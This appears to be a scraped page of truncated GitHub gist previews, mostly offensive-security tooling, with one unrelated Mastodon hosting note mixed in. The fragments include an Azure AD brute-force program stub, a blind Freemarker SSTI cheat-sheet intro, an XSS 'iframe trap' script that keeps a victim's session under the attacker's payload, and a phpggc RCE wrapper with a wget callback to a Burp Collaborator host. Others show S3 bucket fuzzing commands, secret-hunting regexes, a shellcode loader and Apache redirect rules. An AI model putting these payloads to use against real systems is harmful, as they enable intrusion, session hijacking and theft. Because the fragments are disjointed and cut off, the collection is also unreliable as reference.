sofianeelhor

//https://www.secureworks.com/research/undetected-azure-active-directory-brute-force-attacks
package main

import (
	"bufio"
	"fmt"
	"io/ioutil"
	"net/http"
	"net/url"
	"os"

n1nj4sec

What is this cheat sheet ?

I recently stumbled on a blind SSTI injection on a bug bounty program (no output nor stack trace, only 500 status code on invalid syntax)

The version was up to date and it was not possible to RCE because the conf was following best practices and there is no public sandbox bypass on the latest version. So was it possible to do stuff anyway ? Yes I found some nice gadgets to enumerate all accessible variables from the engine, read data blindly or perform some DoS.

This is not meant to be complete, you will find classic payloads for freemarker on other cheat sheets this is only the new stuff from my research which is not public anywhere else

get versions

ott3rly

#!/bin/bash

# Check if an argument was provided
if [ $# -eq 0 ]; then
    NMAP_XML_OUTPUT="/dev/stdin"
else
    NMAP_XML_OUTPUT="$1"
fi

# Use xmllint to parse IP addresses and ports from the Nmap XML output

hoodoer

alert('Click ok when you\'re ready to enter iframe trap');

// Example XSS iframe trap. Load from whatever
// page has the reflected/stored XSS vuln
// trap the user in an iframe of the app.
// While they surf around, they stick in your
// iFrame, and you keep their session and your XSS 
// payload running. 
// @hoodoer

honoki

#!/bin/bash

# phpggc wrapper that automatically generates payloads for RCE gadgets

function="system"
command="wget http://your.burpcollaborator.net/?"
# modify the options below depending on your use case
options="-a -b -u -f"

# generate gadget chains

AndrewKvalheim

Personal Mastodon instance

Effective total cost: $3–5/mo

Setup

Decide on an EC2 instance type:

1. At AWS Console → EC2 → Instance Types, filter for ≥1 GB RAM and sort by price.

• t4g.micro is lowest.

the-xentropy

Ffuf (faster):
ffuf -u "https://s3.REGION.amazonaws.com/COMPANYDELIMITERENVIRONMENT" -w "aws-regions.txt:REGION" -w "company.txt:COMPANY" -w "delimiters.txt:DELIMITER" -w "/usr/share/seclists/Discovery/DNS/subdomains-top1million-5000.txt:ENVIRONMENT" -mc 200 -v


Wfuzz:
wfuzz -u "https://s3.FUZZ.amazonaws.com/FUZ2ZFUZ3ZFUZ4Z" -w aws-regions.txt -w company.txt -w delimiters.txt -w "/usr/share/seclists/Discovery/DNS/subdomains-top1million-5000.txt" --sc 200 -v -t 50

The files:

tehryanx

{
    "flags": "-HnriE",
    "patterns": [
		"(xox[p|b|o|a]-[0-9]{12}-[0-9]{12}-[0-9]{12}-[a-z0-9]{32})",
		"-----BEGIN RSA PRIVATE KEY-----",
		"-----BEGIN DSA PRIVATE KEY-----",
		"-----BEGIN EC PRIVATE KEY-----",
		"-----BEGIN PGP PRIVATE KEY BLOCK-----",
		"AKIA[0-9A-Z]{16}",
		"amzn\\.mws\\.[0-9a-f]{8}-[0-9a-f]{4}-[0-9a-f]{4}-[0-9a-f]{4}-[0-9a-f]{12}",

JumpsecLabs

package main

import (
	"encoding/hex"
	"fmt"
	"os"

	shellcode "github.com/brimstone/go-shellcode"
)

curi0usJack

	# 
	# TO-DO: set |DESTINATIONURL| below to be whatever you want e.g. www.google.com. Do not include "http(s)://" as a prefix. All matching requests will be sent to that url. Thanks @Meatballs__!
	#
	# Note this version requires Apache 2.4+
	#
	# Save this file into something like /etc/apache2/redirect.rules.
	# Then in your site's apache conf file (in /etc/apache2/sites-avaiable/), put this statement somewhere near the bottom
	# 
	# Include /etc/apache2/redirect.rules
	#